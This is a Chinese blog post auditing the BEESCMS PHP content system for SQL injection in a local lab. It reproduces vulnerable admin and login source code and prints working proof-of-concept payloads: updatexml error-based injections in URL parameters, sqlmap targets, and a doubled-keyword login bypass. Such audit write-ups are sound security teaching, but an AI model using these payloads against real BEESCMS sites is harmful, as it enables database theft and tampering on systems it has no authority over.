Beescms代码审计(上)

前言

大概几个月前想把自己电脑恢复一下出厂设置,然后在电脑上看看有什么需要备份的,忽然看到这个最初学习代码审计的时候下载的cms,想了想当初好像也就随便看了下,所以这次想完整的把该cms审计一遍,然而想法虽好,在我通读了一些该cms的代码后,发现还是工作量太大,所以我改为通过工具自动审计,然后人工判断,然后在看来大概60条语句后,发现审计欲望已经消失了,然后就一直搁置住了,最近看到当初记录的漏洞点,所以总结一下,看看能不能给新手入门代码审计带来一点帮助。

 

CMS下载地址

https://github.com/itfooter/beescms

 

安装

利用phpstudy的集成环境,把cms放在www目录下,访问install目录根据提示进行安装即可

图片

 

审计过程

首先,审计一个cms需要对代码做一个简单的通读,简单通读后我们就可以了解到该cms是否采用一些全局的防护措施,这样后续代码审计我们就采用相对应的绕过思路。首先来看看index.php这个文件。

<?php/** * $Author: BEESCMS $ * ============================================================================ * 网站地址: http://www.beescms.com * 您只能在不用于商业目的的前提下对程序代码进行修改和使用; * 不允许对程序代码以任何形式任何目的的再发布。 * ============================================================================*/
//if(!file_exists("data/install.lock")||!file_exists("data/confing.php")){header("location:install/index.php");exit();}define('CMS',true);require_once('includes/init.php');require_once('includes/fun.php');require_once('includes/lib.php');if(file_exists(DATA_PATH.'index_info.php')){include(DATA_PATH.'index_info.php');}//首页配置缓存$lang=isset($_GET['lang'])?$_GET['lang']:'';$index_lang='';//默认首页语言if(!empty($lang_cache)){ foreach($lang_cache as $k=>$v){ if($_index['index_lang']==$v['id']){ $index_lang = $v['lang_tag']; } }}//语言是否使用if(!empty($lang)){ $is_lang_use=0; if(!empty($lang_cache)){ foreach($lang_cache as $k=>$v){ if(($lang==$v['lang_tag'])&&!empty($v['lang_is_use'])){ $is_lang_use=1;//已经使用 } } } if(empty($is_lang_use)){ $lang = $index_lang; }}

if(($lang == $index_lang)&&empty($_index['flash_is'])){ header("HTTP/1.1 301 Moved Permanently"); header("Location: index.php");}

//开启flashif(!empty($_index['flash_is'])&&empty($lang)){ $lang = $index_lang; $fl_file=(IS_MB)?CMS_PATH.'template/flash_phone.html':CMS_PATH.'template/flash.html'; if(!$fl_file){die($language['msg_info']);} if(file_exists(LANG_PATH.'lang_'.$lang.'.php')){include(LANG_PATH.'lang_'.$lang.'.php');}//语言包缓存,数组$language if(file_exists(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php')){include(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php');}//当前语言下的栏目 //默认首页语言网站配置 $_confing=get_confing($lang); $tpl->template_dir=TP_PATH.'/'; $tpl->template_lang=$lang; if($_confing['is_cache']){ $tpl->template_is_cache=1;//缓存 $tpl->template_time=$_confing['cache_time']?$_confing['cache_time']:30;//开启缓存但不存在缓存时间使用30秒 }else{ $tpl->template_is_cache=0; } $tpl->display('flash');
//关闭flash引导页 }else{//载入语言页 $lang = empty($lang)?$index_lang:$lang; if(!empty($lang_cache)){ foreach($lang_cache as $l_k=>$l_v){ if($l_v['lang_tag']==$lang){ $lang_name=$l_v['lang_name']; break; } } } if(file_exists(LANG_PATH.'lang_'.$lang.'.php')){include(LANG_PATH.'lang_'.$lang.'.php');}//语言包缓存,数组$language if(file_exists(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php')){include(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php');}//当前语言下的栏目 //网站配置文件 $_confing=get_confing($lang);
$index_focus="focus"; //获取第一个关键词作为相关内容调用 $key_arr = empty($_confing['web_keywords'])?'':explode(',',$_confing['web_keywords']); $relave_key = $key_arr[0]; //指向首页
$tpl->template_dir=(IS_MB)?TP_PATH.$_confing['phone_template'].'/':TP_PATH.$_confing['web_template'].'/'; $tpl->template_lang=$lang; if($_confing['is_cache']){ $tpl->template_is_cache=1;//缓存 $tpl->template_time=$_confing['cache_time']?$_confing['cache_time']:30;//开启缓存但不存在缓存时间使用30秒 }else{ $tpl->template_is_cache=0; } $tpl->display('index');

}
?>

可以看到这里包含了三个文件

图片

而这三个文件中的fun.php是一些自己定义的函数,其中就就包含一些防注入的函数,而这个函数很有可能就是全局防护中所使用到的函数。

图片

知道该cms采用了什么的全局防护,接下来我们就可以利用Seay审计工具做一个全局的自动审计了。

图片

不过建议时间充裕的情况下还是自己做一个全局的代码通读,这样对自己代码审计能力的提升也相对较大。本文只是对前60条语句做了个简单的判断,有兴趣的师傅可以自己再去做一个深入的审计。

 

两类不同错误导致SQL注入

第一类错误---未使用单引号包裹导致sql注入

第一处后台admin目录下的admin_ajax.php文件

<?php/** * $Author: BEESCMS $ * ============================================================================ * 网站地址: http://www.beescms.com * 您只能在不用于商业目的的前提下对程序代码进行修改和使用; * 不允许对程序代码以任何形式任何目的的再发布。 * ============================================================================*/
define('IN_CMS','true');include('init.php');$action=empty($_REQUEST['action'])?'action':$_REQUEST['action'];$lang = $_REQUEST['lang'];$value=$_REQUEST['value'];if($action=='lang_tag'){ if(check_str($value,'/[^0-9a-z_]+/')||empty($value)){ echo "<span class='err'>只能使用小写字母或数字</span>"; exit; } $sql="select id from ".DB_PRE."lang where lang_tag='".$value."'"; $num=$GLOBALS['mysql']->fetch_rows($sql); $str=(empty($num))?"<span class='ld_ok'>{$value}可以使用</span>":"<span class='err'>{$value}已经存在,请更换</span>"; die($str);}//排序elseif($action=='order'){ $table=$_REQUEST['table']; $field = $_REQUEST['field']; $id = intval($_REQUEST['id']); $sql="update ".DB_PRE."{$table} set {$field}=".intval($value)." where id={$id}"; echo $sql; $GLOBALS['mysql']->query($sql); //更新缓存 if($table=="lang"){ $sql="select*from ".DB_PRE."{$table} order by {$field} desc"; $rel=$GLOBALS['mysql']->fetch_asc($sql); $cache_file=DATA_PATH.'cache/lang_cache.php'; $str="<?php\n\$lang_cache=".var_export($rel,true).";\n?>"; }elseif($table=="channel"){ $sql="select*from ".DB_PRE."{$table} order by {$field} desc"; $rel=$GLOBALS['mysql']->fetch_asc($sql); $cache_file=DATA_PATH.'cache_channel/cache_channel_all.php'; $str="<?php\n\$channel=".var_export($rel,true).";\n?>"; } creat_inc($cache_file,$str);
}
//判断频道标示elseif($action=='check_channel'){ if(check_str($value,'/[^0-9a-z_]+/')||empty($value)){ echo "<span class='err'>只能使用小写字母或数字</span>"; exit; } $sql="select id from ".DB_PRE."channel where channel_mark='{$value}'"; $num=$GLOBALS['mysql']->fetch_rows($sql); $str=(empty($num))?"<span class='ld_ok'>{$value}可以使用</span>":"<span class='err'>{$value}已经存在,请更换</span>"; die($str);}
elseif($action=='check_table'){ if(check_str($value,'/[^0-9a-z_]+/')||empty($value)){ die("<span class='err'>只能使用小写字母或数字</span>"); exit; } $sql="show tables"; $tables=$GLOBALS['mysql']->show_tables(); $table=DB_PRE.$value; if(in_array($table,$tables)){ $num=1; } $str=(empty($num))?"<span class='ld_ok'>{$value}可以使用</span>":"<span class='err'>{$value}已经存在,请更换</span>"; die($str);}
//开启关闭elseif($action=='is_show'){ if(!check_purview('pannel_edit')||!check_purview('form_edit')){return false;} $id = intval($_REQUEST['id']); $table = $_REQUEST['table']; $field = $_REQUEST['field']; $order = $_REQUEST['order']; $value=empty($value)?1:0; $sql="update ".DB_PRE."{$table} set {$field}=".intval($value)." where id={$id}"; $GLOBALS['mysql']->query($sql); //更新缓存 if($table=="channel"){ $sql="select*from ".DB_PRE."{$table} order by {$order} desc"; $rel=$GLOBALS['mysql']->fetch_asc($sql); $cache_file=DATA_PATH.'cache_channel/cache_channel_all.php'; $str="<?php\n\$channel=".var_export($rel,true).";\n?>"; creat_inc($cache_file,$str); }elseif($table=='form'){ $form_file=DATA_PATH.'cache_form/form.php'; $rel=$GLOBALS['mysql']->fetch_asc("select*from ".DB_PRE."form order by id desc"); $cache_str="<?php\n\$form=".var_export($rel,true).";\n?>"; cache_write($form_file,$cache_str); }
if(empty($value)){ $class="qi_yes"; $title="开启"; }else{ $class="qi_no"; $title="关闭"; } $data="<span onclick=\"click_show(this,'{$value}','{$id}','channel','is_disable','{$lang}','channel_order');\" class=\"{$class}\" title=\"{$title}\">&nbsp;</span>"; die($data);}
//删除图片elseif($action=='del_pic'){ $file=CMS_PATH.'upload/'.$value; @unlink($file); die("图片成功删除");}
//修改图片altelseif($action=='change_pic_alt'){ $id= intval($_REQUEST['id']); $val = $_REQUEST['val']; if(empty($id)){die(0);} $val_sql=empty($val)?"pic_alt=''":"pic_alt='".$val."'"; $sql="update ".DB_PRE."uppics set ".$val_sql." where id=".$id; $mysql->query($sql); die($id);}//其它操作else{ die('没有参数');}echo PW;
?>

首先看到11-15行代码

图片

这里包含了一个init.php文件,然后下面是用$_REQUEST的方法接收的参数,那我们跟进init.php文件,看看init.php文件是怎么写的。

图片

其中大多是一些初始化和一些常量,箭头所指可以看到又包含了INC_PATH常量下的fun.php文件,而下面调用了addsl这个函数,这里的INC_PATH常量是includes这个目录,我们可以更具之前简单的代码通读了解到或者直接echo一下,那我们再去看看fun.php这个函数。

图片

在includes目录下找到fun.php可以看到正是我们之前简单通读index.php所了解到的防注入函数。了解到代码使用了什么防护手段,我们再来看看漏洞产生的地方。

在admin_ajax.php文件的第27-46行

图片

可以知道我们自定义的fun.php里面的adds1是调用addslashes这个函数。addslashes函数会对我们用户输入的单引号转义,但是此处利用$_REQUEST接收过来的field参数在写入$sql变量的时候并为被单引号包裹,这里是一个update语句,所以我们可以构造如下poc绕过。

http://192.168.178.1/beescms/admin/admin_ajax.php?action=order&table=admin&field=admin_password=123456%20or%20updatexml(1,concat(0x23,database()),1)%20where%20id=193--+

图片

同类未被单引号包裹问题还存在如下多出地方

admin目录下的admin_book.php文件的88-104行

图片

sqlmap构造如下poc

http://192.168.178.1/beescms/admin/admin_book.php?action=del&lang=cn&id=1*&nav=main&admin_p_nav=main_info

sqlmap结果

图片

插一嘴,像这几个注入点都是update、delete这种对义务比较铭感的语句,大家在正常业务的洞的时候,上sqlmap是会给业务数据带来巨大伤害的,这里是本地搭建的环境,所以sqlmap随便乱跑。

admin目录下的admin_catagory.php文件的150-165行

图片

跟踪一下$parent参数

在admin_catagory.php文件的第16行

图片

还是无其他特殊处理

构造poc如下

http://192.168.178.1/beescms/admin/admin_catagory.php/beescms/admin/admin_catagory.php?action=child&parent=4'&channel_id=2&lang=cn&nav=main&admin_p_nav=main_info

因为好早之前审计的,没有保存截图,所以这里就只简单证明下漏洞存在,不再一一上sqlmap了。

图片

admin目录下的admin_channel.php文件的210-238行

图片

跟踪$cate_id参数在第143行代码处

图片

构造poc如下

http://192.168.178.1/beescms/admin/admin_channel.php?action=del_channel&step=3&id=-9&cate_id=1%27&nav=main&admin_p_nav=main_info%20%20%20%20%20%20#sql%E6%B3%A8%E5%85%A5

图片

上述的sql注入问题都是未被单引号包裹导致的addslashes函数被绕过,接下来就是另外一类问题导致的sql注入。

第二类错误---错误使用防注入函数导致sql注入问题

该注入点在admin目录下的login.php文件

如下是login.php文件代码

<?php/** * $Author: BEESCMS $ * ============================================================================ * 网站地址: http://www.beescms.com * 您只能在不用于商业目的的前提下对程序代码进行修改和使用; * 不允许对程序代码以任何形式任何目的的再发布。 * ============================================================================*/
@ini_set('session.use_trans_sid', 0);@ini_set('session.auto_start', 0);@ini_set('session.use_cookies', 1);error_reporting(E_ALL & ~E_NOTICE);$dir_name=str_replace('\\','/',dirname(__FILE__));$admindir=substr($dir_name,strrpos($dir_name,'/')+1);define('CMS_PATH',str_replace($admindir,'',$dir_name));define('INC_PATH',CMS_PATH.'includes/');define('DATA_PATH',CMS_PATH.'data/');include(INC_PATH.'fun.php');include(DATA_PATH.'confing.php');include(INC_PATH.'mysql.class.php');if(file_exists(DATA_PATH.'sys_info.php')){include(DATA_PATH.'sys_info.php');}@header("Content-type: text/html; charset=utf-8"); $mysql=new mysql(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME,DB_CHARSET,DB_PCONNECT);session_start();$s_code=empty($_SESSION['code'])?'':$_SESSION['code'];$_SESSION['login_in']=empty($_SESSION['login_in'])?'':$_SESSION['login_in'];$_SESSION['admin']=empty($_SESSION['admin'])?'':$_SESSION['admin'];if($_SESSION['login_in']&&$_SESSION['admin']){header("location:admin.php");}$action=empty($_GET['action'])?'login':$_GET['action'];
if($action=='login'){ global $_sys; include('template/admin_login.php');}//判断登录elseif($action=='ck_login'){ global $submit,$user,$password,$_sys,$code; $submit=$_POST['submit']; $user=fl_html(fl_value($_POST['user'])); $password=fl_html(fl_value($_POST['password'])); $code=$_POST['code']; if(!isset($submit)){ msg('请从登陆页面进入'); } if(empty($user)||empty($password)){ msg("密码或用户名不能为空"); } if(!empty($_sys['safe_open'])){ foreach($_sys['safe_open'] as $k=>$v){ if($v=='3'){ if($code!=$s_code){msg("验证码不正确!");} } } } check_login($user,$password);}
elseif($action=='out'){ login_out();}?>

可以发现login.php文件中未包含init.php文件,所以未引用adsl函数来防注入,但是在登录处的地方做了如下处理。

43-44行

图片

调用了fl_value函数,然后再调用了fl_html函数,跟一下这两个函数,来到fun.php文件,如下。

function fl_value($str){  if(empty($str)){return;}  return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file|outfile/i','',$str);}define('INC_BEES','B'.'EE'.'SCMS');function fl_html($str){  return htmlspecialchars($str);}

可以看到fl_value函数过滤了一些sql注入的关键字,fl_html调用了htmlspecialchars函数。然后我们再看看在哪里判断登录了。

第59行

图片

跟一下check_login这个函数,在fun.php中

图片

这里可以看到存在一个判断用户是否存在,可以看到这里的$user参数虽然被单引号包裹住了,但是我们回想一下之前的防注入的函数,利用preg_replace过滤了一些关键字如下

 

/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file

而preg_replace这个函数也是非常危险的,我们可以利用一些双写的操作进行绕过,然后是htmlspecialchars函数,但是htmlspecialchars函数的作用我们可以看看

图片

它并不会对单引号做出过滤,所以我们还是可以自行输入单引号来闭合语句

所以我们在用户名处构造如下poc

admin' a and nd  updatexml(1,concat(0x7e,database(),0x7e),1)#

图片

图片

posted @ 2022-07-09 22:54  随风kali  阅读(215)  评论(0编辑  收藏  举报